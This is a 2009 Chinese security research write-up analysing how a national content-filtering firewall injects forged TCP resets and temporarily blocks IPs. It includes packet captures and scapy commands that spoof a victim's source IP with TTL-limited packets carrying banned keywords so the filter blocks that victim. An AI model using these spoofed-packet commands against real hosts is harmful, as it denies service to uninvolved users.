对某款国家级内容过滤系统Dos安全缺陷分析

Author: jianxin [80sec]
EMail: jianxin#80sec.com
Site: http://www.80sec.com
Date: 2009-1-2
From: http://www.80sec.com/release/dos-with-XXX.txt

[ 目录 ]

0×00 前言
0×01 know it,了解这款内容过滤系统
0×02 Hack it,对防火墙类ids的一些安全研究
0×03 后话

0×00 前言

最近在学习网络基础知识,秉承Hack to learn的作风,想对学习做个总结就想到分析一些网络设备的安全问题来作为一次总结。相信对于某款国家级内容过滤系统大家都不陌生,也被称为国家边界防火墙,其本质上只是一款强大的入侵检测系统,并且在某些行为发生时对网络攻击进行实时的联动阻断。这里对它的作用并不做探讨,对如何绕过它也不做分析,这里仅仅是将它看作一款功能强大的国家级IPS,从技术角度来讨论下这类IPS在关键网络部署时可能存在的一些安全问题以及对普通网站的影响。


0×01 know it,了解这款内容过滤系统

同一般的入侵检测系统或者其他号称网关级别过滤系统类似,它定义了一些策略以阻止某些危险的网络访问,其策略包含静态封禁也包含动态封禁,譬如对于Google和Yahoo类搜索引擎来说,国内用户在使用这些站点时如果触发了敏感的关键词的话,其IP就会被动态封禁一段时间,几分钟之类将不能再使用Google,这里的关键词就是被防火墙所定义的危险行为,譬如拿关键词Freenet/freenet来说,在Google里进行一次搜索请求之后就会发现Google在几分钟之内将不再能被访问,多余所有其他处于国外的服务器效果也是一样。我分析的整个过程如下:

首先对正常的一次Google访问抓包,可以看到结果如下:

bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
22:39:26.261092 IP (tos 0×0, ttl 64, id 33001, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.44297 > 64.233.189.103.80: S, cksum 0xcc0f (correct), 1790346900:1790346900(0) win 5840
22:39:26.349797 IP (tos 0×0, ttl 50, id 41053, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.44297: S, cksum 0×3698 (correct), 3974796664:3974796664(0) ack 1790346901 win 5672
22:39:26.350452 IP (tos 0×0, ttl 64, id 33002, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×79d7 (correct), 1790346901:1790346901(0) ack 3974796665 win 365
22:39:36.161454 IP (tos 0×0, ttl 64, id 33003, offset 0, flags [DF], proto TCP (6), length 67) 192.168.1.4.44297 > 64.233.189.103.80: P, cksum 0xa1a9 (correct), 1790346901:1790346916(15) ack 3974796665 win 365
22:39:36.248632 IP (tos 0×0, ttl 50, id 41053, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.44297: ., cksum 0×4a9a (correct), 3974796665:3974796665(0) ack 1790346916 win 89
22:39:37.476626 IP (tos 0×0, ttl 64, id 33004, offset 0, flags [DF], proto TCP (6), length 53) 192.168.1.4.44297 > 64.233.189.103.80: P, cksum 0×3e36 (correct), 1790346916:1790346917(1) ack 3974796665 win 365
22:39:37.563675 IP (tos 0×0, ttl 50, id 41054, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.44297: ., cksum 0×442e (correct), 3974796665:3974796665(0) ack 1790346917 win 89
22:39:37.611453 IP (tos 0×0, ttl 50, id 41055, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974796665:3974798065(1400) ack 1790346917 win 89
22:39:37.611545 IP (tos 0×0, ttl 64, id 33005, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×3cb3 (correct), 1790346917:1790346917(0) ack 3974798065 win 546
22:39:37.624333 IP (tos 0×0, ttl 50, id 41056, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974798065:3974799465(1400) ack 1790346917 win 89
22:39:37.624364 IP (tos 0×0, ttl 64, id 33006, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×3683 (correct), 1790346917:1790346917(0) ack 3974799465 win 727
22:39:37.642937 IP (tos 0×0, ttl 50, id 41057, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974799465:3974800865(1400) ack 1790346917 win 89
22:39:37.642953 IP (tos 0×0, ttl 64, id 33007, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×3051 (correct), 1790346917:1790346917(0) ack 3974800865 win 908
22:39:37.646286 IP (tos 0×0, ttl 50, id 41058, offset 0, flags [none], proto TCP (6), length 532) 64.233.189.103.80 > 192.168.1.4.44297: P 3974800865:3974801345(480) ack 1790346917 win 89
22:39:37.646302 IP (tos 0×0, ttl 64, id 33008, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×2dc1 (correct), 1790346917:1790346917(0) ack 3974801345 win 1083
22:39:37.717617 IP (tos 0×0, ttl 50, id 41059, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974801345:3974802745(1400) ack 1790346917 win 89
22:39:37.717634 IP (tos 0×0, ttl 64, id 33009, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×2713 (correct), 1790346917:1790346917(0) ack 3974802745 win 1264
22:39:37.736610 IP (tos 0×0, ttl 50, id 41060, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974802745:3974804145(1400) ack 1790346917 win 89
22:39:37.736645 IP (tos 0×0, ttl 64, id 33010, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×20e1 (correct), 1790346917:1790346917(0) ack 3974804145 win 1445
22:39:37.755088 IP (tos 0×0, ttl 50, id 41061, offset 0, flags [none], proto TCP (6), length 1449) 64.233.189.103.80 > 192.168.1.4.44297: P 3974804145:3974805542(1397) ack 1790346917 win 89
22:39:37.755107 IP (tos 0×0, ttl 64, id 33011, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×1ab2 (correct), 1790346917:1790346917(0) ack 3974805542 win 1626

我们可以看到完整的一次请求过程,先是三次握手,然后是发数据包以及服务器和客户端之间的完整交互,从这里我们可以识别出Google服务器的一些指纹特征,譬如未设置不分片标志,TTL值比较恒定为50等等。
那么当一次非法的请求发生时,情况会是怎么样的呢?譬如在Google里搜索会被封禁的关键词freenet的时候,结果如下:

bt ~ # nc -vv 64.233.189.103 80
hkg01s01-in-f103.1e100.net [64.233.189.103] 80 (http) open
GET /?q=freenet HTTP/1.1

sent 26, rcvd 0
bt ~ #

可以看到一发送非法的请求之后Google就主动断开了链接,整个过程的网络抓包如下:

bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
22:54:15.744058 IP (tos 0×0, ttl 64, id 36724, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.42909 > 64.233.189.103.80: S, cksum 0xd712 (correct), 2729633795:2729633795(0) win 5840
22:54:15.831374 IP (tos 0×0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.42909: S, cksum 0×9163 (correct), 1209516567:1209516567(0) ack 2729633796 win 5672
22:54:15.831408 IP (tos 0×0, ttl 64, id 36725, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.42909 > 64.233.189.103.80: ., cksum 0xd4a3 (correct), 2729633796:2729633796(0) ack 1209516568 win 365
22:54:31.619002 IP (tos 0×0, ttl 64, id 36726, offset 0, flags [DF], proto TCP (6), length 77) 192.168.1.4.42909 > 64.233.189.103.80: P, cksum 0xd6e1 (correct), 2729633796:2729633821(25) ack 1209516568 win 365
22:54:31.727889 IP (tos 0×0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.42909: ., cksum 0×8867 (correct), 1209516568:1209516568(0) ack 2729633821 win 89
22:54:32.065444 IP (tos 0×0, ttl 64, id 36727, offset 0, flags [DF], proto TCP (6), length 53) 192.168.1.4.42909 > 64.233.189.103.80: P, cksum 0×7cdb (correct), 2729633821:2729633822(1) ack 1209516568 win 365
22:54:32.148169 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0×3399 (correct), 1209516568:1209516568(0) win 2605
22:54:32.151504 IP (tos 0×0, ttl 50, id 12869, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.42909: ., cksum 0×863a (correct), 1209516568:1209516568(0) ack 2729633822 win 89
22:54:32.151840 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.4.42909 > 64.233.189.103.80: R, cksum 0xbd24 (correct), 2729633822:2729633822(0) win 0
22:54:32.153474 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0×1779 (correct), 1209516568:1209516568(0) win 9805

可以看到的是,用户在发送完push包之后,Google的服务器也就是64.233.189.103返回了ack数据包表示收到了该请求,并且回复的ack包的序列号跟预期的一致,这里有两次push是因为我用nc提交的,加的回车会单独发一个过去。这样理论上服务器应该马上会回复一个push包响应我们前面的请求,但是结果我们收到了一个意外的rst包如下:

22:54:32.148169 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0×3399 (correct), 1209516568:1209516568(0) win 2605

并且该诡异的tcp包还发了两次,然后我们的客户端就以为服务器重置了该链接,这个时候服务器还老老实实的回复了一个对前面的push包的确认包,不过这个包已经被前面莫名其妙的rst包用掉了,并且客户端也按要求重置了链接,所以就回复了一个rst包:

22:54:32.151840 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.4.42909 > 64.233.189.103.80: R, cksum 0xbd24 (correct), 2729633822:2729633822(0) win 0

恩,这个tcp链接到这里玩完了。那么这个莫名其妙的rst包是谁发出来的呢?首先来确认下是不是Google自己抽风发出来的吧。注意最上面提到的正常情况下来自Google返回的包的指纹,我们可以看到如下几个地方发生了明显的变化:

22:54:15.831374 IP (tos 0×0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.42909: S, cksum 0×9163 (correct), 1209516567:1209516567(0) ack 2729633796 win 5672
22:54:32.148169 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0×3399 (correct), 1209516568:1209516568(0) win 2605

首先ttl发生了变化,这在默认情况下基本代表了设备在网络上的位置,另外ID在系统内被用来识别一个tcp包,明显的差异过大,然后Google的服务器还返回了一堆可选字段的内容,但是那个怪异的rst包完全没有这个特征,通过这些基本可以确认这个rst包并非来自于真正的Google服务器,通过多抓几次数据包就可以证明这个结论。那么这个设备是出于哪个位置呢?我们简单的tracert下看看结果:

traceroute to 64.233.189.103 (64.233.189.103), 30 hops max, 38 byte packets
1 localhost (192.168.1.1) 4.667 ms 1.949 ms 1.650 ms
2 114.249.208.1 (114.249.208.1) 28.304 ms 28.438 ms 34.123 ms
3 125.35.65.97 (125.35.65.97) 26.429 ms 27.363 ms 25.844 ms
4 bt-227-109.bta.net.cn (202.106.227.109) 27.641 ms 26.971 ms 27.268 ms
5 61.148.153.121 (61.148.153.121) 26.936 ms 27.722 ms 27.802 ms
6 123.126.0.121 (123.126.0.121) 27.675 ms 26.996 ms 28.620 ms
7 219.158.4.94 (219.158.4.94) 82.732 ms 82.175 ms 82.608 ms
8 219.158.3.66 (219.158.3.66) 69.978 ms 70.491 ms 136.986 ms
9 219.158.3.130 (219.158.3.130) 77.807 ms 87.424 ms 446.165 ms
10 219.158.32.230 (219.158.32.230) 413.888 ms 87.384 ms 86.614 ms
11 64.233.175.207 (64.233.175.207) 114.188 ms 79.037 ms 113.107 ms
12 209.85.241.56 (209.85.241.56) 87.721 ms 88.063 ms 87.341 ms
13 66.249.94.6 (66.249.94.6) 87.068 ms 99.377 ms 94.140 ms
14 hkg01s01-in-f103.1e100.net (64.233.189.103) 86.094 ms 85.901 ms 86.429 ms

ttl是数据包在网络上的存活时间,每经过一个路由器这个ttl就会减1,可以避免某些数据包无止境的在网络上传输,所以可以被用来确认设备离我们主机在网络上的跳数和距离。我们在抓包的时候可以发现我们默认发出去的数据包ttl是64,我这里用的是linux的系统,一般的网络设备初始值为64,128,255,linux类系统的初始值一般都为64,所以这里我们可以看到Google返回值是50,这是可以确认的,因为可以看到我们到google有14跳,一般linux服务器的初始值为64,到我们这正好是50。那么这个ttl=53的异常包是在哪呢?64-13=11,哦,应该是在11跳左右,到路由上链上找找就发现可能是64.233.175.207这个IP发的,但是去查却会发现这个ip是Google的,米国人民劫持我们的数据包不让访问Google?不太靠谱啊,那么很可能是从第10旁路出去的包,查查第10跳发现是网通骨干网的,这理论上就是可能的了,当然,这之前的节点都有可能,但是最有可能的应该还是这个节点,因为这个节点可以监视所有出口的流量嘛!
再来分析下是如何拒绝掉我们的链接的,该设备嫁接在骨干网上,说是嫁接是因为做这个事情的应该不是骨干路由器,从TTL或者其他一些常识可以看出来,毕竟骨干路由上直接做操作的话风险太大了,不能影响正常应用这是防火墙起码的要求,既然该设备能处于这么一个位置,那么自然可以做到将流量以镜像的方式导入到自己的设备上,并且实时的监视整个tcp的链接。我们知道想表示一条正常的tcp链接是需要五元组的,包括协议,源端口,源IP,目的端口,目的IP,想完整的控制一个tcp链接还需要在这个基础上加一个seq,ack序列号表示正常的tcp进行的状态,想猜测这些基本是不可能的。黑客多少年梦想的对这些的预测都可以轻易在骨干路由上的旁路设备实现,在某些省市大行劫持之道的运营商面前,黑客是个弱势群体。既然有五元组,还有序列号,那么对tcp的操作自然非常简单了,最高明的就是一个rst包让整个tcp链接直接消失掉。有些文章说这个神奇的设备会向两边发送rst包,从我的抓包分析结果来看,看起来这个结论并不可靠,如果向google发送了rst包的话,那么后面一个push的ack包就应该是没有收到才对。另外可以看到,第一个push包发出去之后,这个神奇的设备就有了反应,并不等我第二个包请求发出去凑成一个完整的http请求我们就收到了rst包,这个push包触发了特征了。但是我比较奇怪的是,如果是这样,那么很可能在时间上出现服务器的push包比rst包先到达,这样就起不到阻断的作用,但是从距离和服务器需要对请求响应这点来看,这发生的几率比较小,另外一种可能是,我们客户端发送的rst包到达Google服务器的时候,服务器的push包已经发送到我们的客户端了,尽管不能完成展现,但是包已经收到了,不是么,呵呵!另外一点,从多次试验的结果来看,我们通过在系统底层处理掉id=64的包,是可以完成这一次请求的,水平有限,以后再测试:)
但是这一次的请求被你侥幸获取并不能意味着什么,防火墙的另外一个强大功能你还没有体验,那就是灰名单动态封禁功能,通过上面的请求,你已经被认为是黑客触发了防火墙的规则,你的ip和目标服务器之间的请求将临时性的出现问题。正常情况下到Google的TCP连接如下,这里演示的是nc链接到服务器并且断掉的结果:

bt ~ # nc -vv 64.233.189.103 80
hkg01s01-in-f103.1e100.net [64.233.189.103] 80 (http) open
sent 0, rcvd 0
bt ~ #

这里我按了下ctrl+c的

bt ~ # tcpdump -nn -vv -S port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
21:53:12.553207 IP (tos 0×0, ttl 64, id 20037, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.2.46064 > 64.233.189.103.80: S, cksum 0xc664 (correct), 2283082267:2283082267(0) win 5840
21:53:12.637507 IP (tos 0×0, ttl 50, id 23363, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.2.46064: S, cksum 0xbbe7 (correct), 889377555:889377555(0) ack 2283082268 win 5672
21:53:12.637539 IP (tos 0×0, ttl 64, id 20038, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 > 64.233.189.103.80: ., cksum 0xff28 (correct), 2283082268:2283082268(0) ack 889377556 win 365
21:53:18.110166 IP (tos 0×0, ttl 64, id 20039, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 > 64.233.189.103.80: F, cksum 0xf9d1 (correct), 2283082268:2283082268(0) ack 889377556 win 365
21:53:18.206770 IP (tos 0×0, ttl 50, id 23364, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.2.46064: F, cksum 0xe535 (correct), 889377556:889377556(0) ack 2283082269 win 89
21:53:18.206805 IP (tos 0×0, ttl 64, id 20040, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 > 64.233.189.103.80: ., cksum 0xe408 (correct), 2283082269:2283082269(0) ack 889377557 win 365

那么如果触发规则之后的请求是什么样子的呢:

bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
00:18:31.651147 IP (tos 0×0, ttl 64, id 22184, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.49124 > 64.233.189.103.80: S, cksum 0×6925 (correct), 3774335672:3774335672(0) win 5840
00:18:31.739447 IP (tos 0×0, ttl 50, id 44562, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.49124: S, cksum 0×97db (correct), 3821251813:3821251813(0) ack 3774335673 win 5672
00:18:31.739469 IP (tos 0×0, ttl 64, id 22185, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.49124 > 64.233.189.103.80: ., cksum 0xdb1b (correct), 3774335673:3774335673(0) ack 3821251814 win 365
00:18:31.820608 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.49124: R, cksum 0×6ea9 (correct), 3821251814:3821251814(0) win 12379

三次握手之后,立刻那个莫名其妙rst包出现了,就在服务器等待客户端给它数据的时候,我们一个rst包结束了这个tcp连接的生命,这个特征依然很明显,id是64,ttl=53。但是在另外的一次测试过程中,我抓到了这样的包:

bt ~ # tcpdump -nn -vv -S port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
21:47:54.614462 IP (tos 0×0, ttl 64, id 20834, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.2.53343 > 64.233.189.103.80: S, cksum 0×8ead (correct), 1951758128:1951758128(0) win 5840
21:47:54.691420 IP (tos 0×0, ttl 42, id 26966, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: S, cksum 0×273e (correct), 2970573198:2970573198(0) ack 1951758129 win 453
21:47:54.691449 IP (tos 0×0, ttl 64, id 20835, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.2.53343 > 64.233.189.103.80: ., cksum 0×1234 (correct), 1951758129:1951758129(0) ack 2970573199 win 5840
21:47:54.696983 IP (tos 0×0, ttl 50, id 51733, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.2.53343: S, cksum 0xa76e (correct), 794483022:794483022(0) ack 1951758129 win 5672
21:47:54.696998 IP (tos 0×0, ttl 64, id 20836, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.2.53343 > 64.233.189.103.80: ., cksum 0×1234 (correct), 1951758129:1951758129(0) ack 2970573199 win 5840
21:47:54.700298 IP (tos 0×0, ttl 43, id 26887, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×292f (correct), 794483023:794483023(0) ack 1951758129 win 454
21:47:54.769090 IP (tos 0×0, ttl 46, id 26650, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×2737 (correct), 2970573199:2970573199(0) ack 1951758129 win 457
21:47:54.769853 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0xcb9f (correct), 2970573199:2970573199(0) win 18679
21:47:54.773332 IP (tos 0×0, ttl 50, id 51734, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×1497 (correct), 2970573199:2970573199(0) win 0
21:47:54.774292 IP (tos 0×0, ttl 48, id 26492, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×2735 (correct), 2970573199:2970573199(0) ack 1951758129 win 459
21:47:54.775939 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0xbf63 (correct), 2970573199:2970573199(0) win 21811
21:47:54.778871 IP (tos 0×0, ttl 50, id 51735, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×1497 (correct), 2970573199:2970573199(0) win 0

一个中间的服务器抢在真正的Google服务器之前给我们响应了我们的请求,而Google的回应却因为序列号出现差错导致服务器给我们发重置包,而在此过程中,ttl=43,46,53,48的,ID模拟正常的服务器向我们连回了N个rst包,这个链接必死无疑了,可见它多么痛恨我这个链接。也许我抓到的并不是最全的,但是基本原理应该都类似的,而且这种发送的ID,ttl都是伪造的,以这种方式很难定位到具体的设备位置和直接过滤掉,后面会说到另外一种定位方法:)这个动态的ACL在过两分钟最后会被清除,用户恢复对网站的访问。

0×02 Hack it,对防火墙类ids的一些安全研究

我们在黑盒的方式了解了此类ids的基本原理之后,就可以想想这类ids的一些安全问题了,这里说的安全问题不是上面提到的绕过,而是其他我们在日常工作中可能遇到的问题,这里对设备的性能测试,误报率等也不做研究,这些也不是我们可以去考虑的问题,这里主要是来自于一个思路,既然这个神奇的设备已经作为一个基本安全设施,它的动态封禁机制会不会可以被利用来对某些境外的网站进行屏蔽来实现对国内用户的Dos,据一些媒体说美国也有类似的设施,但是美国只会记录而不会做类似于IPS的动作主动切断有威胁的的双方,这里的测试不再是被动的抓包了,我们使用一款强大的网络数据包调试工具,scapy,对于我这种只有脚本基础的人来说比较容易上手,基本用法如下:

Welcome to Scapy (v1.1.1 / f88d99910220)
>>> ls(IP)
version : BitField = (4)
ihl : BitField = (None)
tos : XByteField = (0)
len : ShortField = (None)
id : ShortField = (1)
flags : FlagsField = (0)
frag : BitField = (0)
ttl : ByteField = (64)
proto : ByteEnumField = (0)
chksum : XShortField = (None)
src : Emph = (None)
dst : Emph = (’127.0.0.1′)
options : IPoptionsField = (”)
>>> ls(TCP)
sport : ShortEnumField = (20)
dport : ShortEnumField = (80)
seq : IntField = (0)
ack : IntField = (0)
dataofs : BitField = (None)
reserved : BitField = (0)
flags : FlagsField = (2)
window : ShortField = (8192)
chksum : XShortField = (None)
urgptr : ShortField = (0)
options : TCPOptionsField = ({})
>>>

我们可以很简单滴修改这些选项来构造适合自己的包并且发送出去,譬如:

>>>send(IP(dst=”64.233.189.103″)/TCP(dport=80,sport=57474,flags=”P”,seq=945149829)/”We are 80sec,play with packets”)

就会向Google的服务器发送一个源端口是57474,序列号是945149829的push包了,包的内容就是We are 80sec。
这里测试的基本想法是,我们对一个想要攻击的ip如121.121.121.121,想使他不能访问google的服务器64.233.189.103,就可以想办法伪造一个它的ip通过这个神奇的设备并且触发规则就可以了。得益于国内运营商对数据包的来源有效性不会做任何限制,可以随便伪造别的IP的数据包发到指定的地方,同样得益于此的还有欣欣向荣的ddos行业,所以我们只要想办法触发这个神奇的设备的规则就是了。
先进行最简单的:

>>> send(IP(dst=”64.233.189.103″,src=”121.121.121.121″)/TCP(dport=80,sport=57474,flags=”P”,seq=945149829)/”/?q=freenet/freenet”)

这是一个完全扯淡的数据包,全部都是伪造的,如果这个数据包会触发规则的话,那么121.121.121.121就不能访问64.233.189.103这个Google的ip了,结果显而易见,没有任何影响。我们继续来测试,发送:

>>> send(IP(dst=”64.233.189.103″)/TCP(dport=80,sport=57474,flags=”P”,seq=945149829)/”/?q=freenet/freenet”)

同时在本机抓包以得到服务器的响应,一旦成功我们就可以把源IP换成想要攻击的IP了,发出去后只能抓到自己出去的包,没有任何服务端的响应,自然不包括这个神奇的设备的,抓包如下:

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
00:41:29.014316 IP (tos 0×0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 59) 114.249.114.249.57474 > 64.233.189.103.80: P, cksum 0×9fb7 (correct), 945149829:945149848(19) win 8192

这个包不只这个神奇的设备忽略了,Google服务器也忽略了,这里我换了个测试环境,因为我处于NAT的环境,为了可以直接伪造所有的ip包,我使用了朋友的服务器做测试,好处就是伪造的ip不会被NAT防火墙丢弃也不会给我转换我的端口序列号之类。我测试了Syn,Ack等包,都发现数据包顺利的到达了Google服务器,不过没有违反这个神奇的设备的规则。
看来这个神奇的设备还是有一些防范策略,没有想象中那样直接检测push包,起码是能对非法的,无效的TCP链接进行识别。很佩服防火墙的伟大,这么大的流量还能做到这种程度,公司内部的防火墙那么点流量还吱呀吱呀响呢,猜测没有用,回忆前面提到的,能控制一个TCP链接需要的几个元素,我们需要五元组,测试看看,我们先建立一条正常的到Google的链接,并且抓取五元组来测试:

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
d00:49:38.694884 IP (tos 0×0, ttl 64, id 55469, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60931 > 64.233.189.103.80: S, cksum 0×188c (correct), 3664548093:3664548093(0) win 5840
00:49:38.745534 IP (tos 0×0, ttl 51, id 57212, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.103.80 > 114.249.114.249.60931: S, cksum 0×40d4 (correct), 2550448670:2550448670(0) ack 3664548094 win 5672
00:49:38.745546 IP (tos 0×0, ttl 64, id 55470, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60931 > 64.233.189.103.80: ., cksum 0×8548 (correct), 3664548094:3664548094(0) ack 2550448671 win 46

呵呵,然后我们构造一个接近真实的五元组都正确的链接,只有序列号是错误的:

>>> send(IP(dst=”64.233.189.103″)/TCP(dport=80,sport=60931,flags=”P”,seq=123456)/”/?q=freenet/freenet”)

服务器返回

00:52:12.606688 IP (tos 0×0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 59) 114.249.114.249.60931 > 64.233.189.103.80: P, cksum 0xbfcf (correct), 123456:123475(19) win 8192
00:52:12.657154 IP (tos 0×0, ttl 51, id 57212, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.103.80 > 114.249.114.249.60931: ., cksum 0×2be4 (correct), 2550448671:2550448671(0) ack 3664548094 win 89

数据包顺利的通过了这个神奇的设备,Google还给我们发来了纠正序列号的ack包。这个时候我就很惊奇了,对一条链接真实性的验证可以不只到达五元组程度,甚至可以到达序列号的级别,而它所做的地方是在国家的主干上,这几乎是不可想象的。这个时候思考这个神奇的设备的实现方式,可能是维护一个链接的状态表,并且对这个表的所有状态进行实时跟踪,但这样他就太吊了,这个时候开始想到用一些畸形包来测试防火墙的机制。
从前面知道,我们到Google服务器的TTL是14跳,也就是如果我们发初始TTL小于14的话,按照TTL的基本原理,请求是不会达到Google的服务器的,如果我们控制TTL=12的话甚至可以将包通过这个神奇的设备但是不到达服务器,这个时候我们知道,如果我们在两侧放置自己的机器,在另外一侧可以伪造成Google的服务器,在自己这一侧伪造成目标的IP,控制TTL让两端的机器互相通迅触发规则,直到被这个神奇的设备列入灰名单,但是真正的被伪造的IP却不会知道发生了什么。这个思路肯定可以成功,但是之前我们可以试试其他的,毕竟我没有国外的机器,有不有可能在一端发数据包就可以实现将别的IP列入灰名单呢?我在尝试这个神奇的设备跟踪链接时的设计时找到了答案。前面我们知道,这个神奇的设备对一个请求的跟踪能够达到序列号级别,这是不可思议的事情,因为计算量和数据量太大了,那个时候我就怀疑这个神奇的设备会不会对数据包做验证,那样会增加计算量,对于骨干级的设备来说不可接受的,万一判断完之后真正的服务器已经返回了就麻烦了。同时,由于这个神奇的设备架构的设计,我们能控制数据包的出口,但是实际上数据包的返回的时候走的是可能完全不同的一条路由,所以不可能对请求的跟踪做到双向跟踪,这里的跟踪完全可能是一种虚拟行为的,对发起请求一端的校验。这里的测试也很简单,也证明了我的结论:

>>> send(IP(dst=”64.233.189.103″,ttl=10)/TCP(dport=80,sport=2222,flags=”S”,seq=1234567))
>>> send(IP(dst=”64.233.189.103″,ttl=10)/TCP(dport=80,sport=2222,flags=”A”,seq=1234568))
>>> send(IP(dst=”64.233.189.103″,ttl=10)/TCP(dport=80,sport=2222,flags=”P”,seq=1234568)/”GET /search?hl=en&source=hp&q=freenet/freenet&oq=&aqi=1 HTTP/1.1
\r\nHOST: www.google.com\r\n\r\n\r\n”)

注意我在伪造ttl的时候使用ttl=10,这个时候可以避免数据包传到真正的Google服务器,服务器返回ack的时候被伪造的IP会发rst重置链接而导致发起数据失败,防火墙会看到这个rst包而认为后面的push包已经过时。通过发出上面的这三个伪造的数据包,我们就可以让64.233.189.103对我的IP不可访问,可以看到其中的包括源端口,目的端口,序列号都是我自己定义的,在防火墙看来,就是我在跟64.233.189.103发起非法链接,毕竟它只能完全信任我,它没有其他的可以信任:),想让121.121.121.121不能访问Google的80端口只需要发送下面三个包:

>>> send(IP(dst=”64.233.189.103″,src=”121.121.121.121″,ttl=10)/TCP(dport=80,sport=2222,flags=”S”,seq=1234567))
>>> send(IP(dst=”64.233.189.103″,src=”121.121.121.121″,ttl=10)/TCP(dport=80,sport=2222,flags=”A”,seq=1234568))
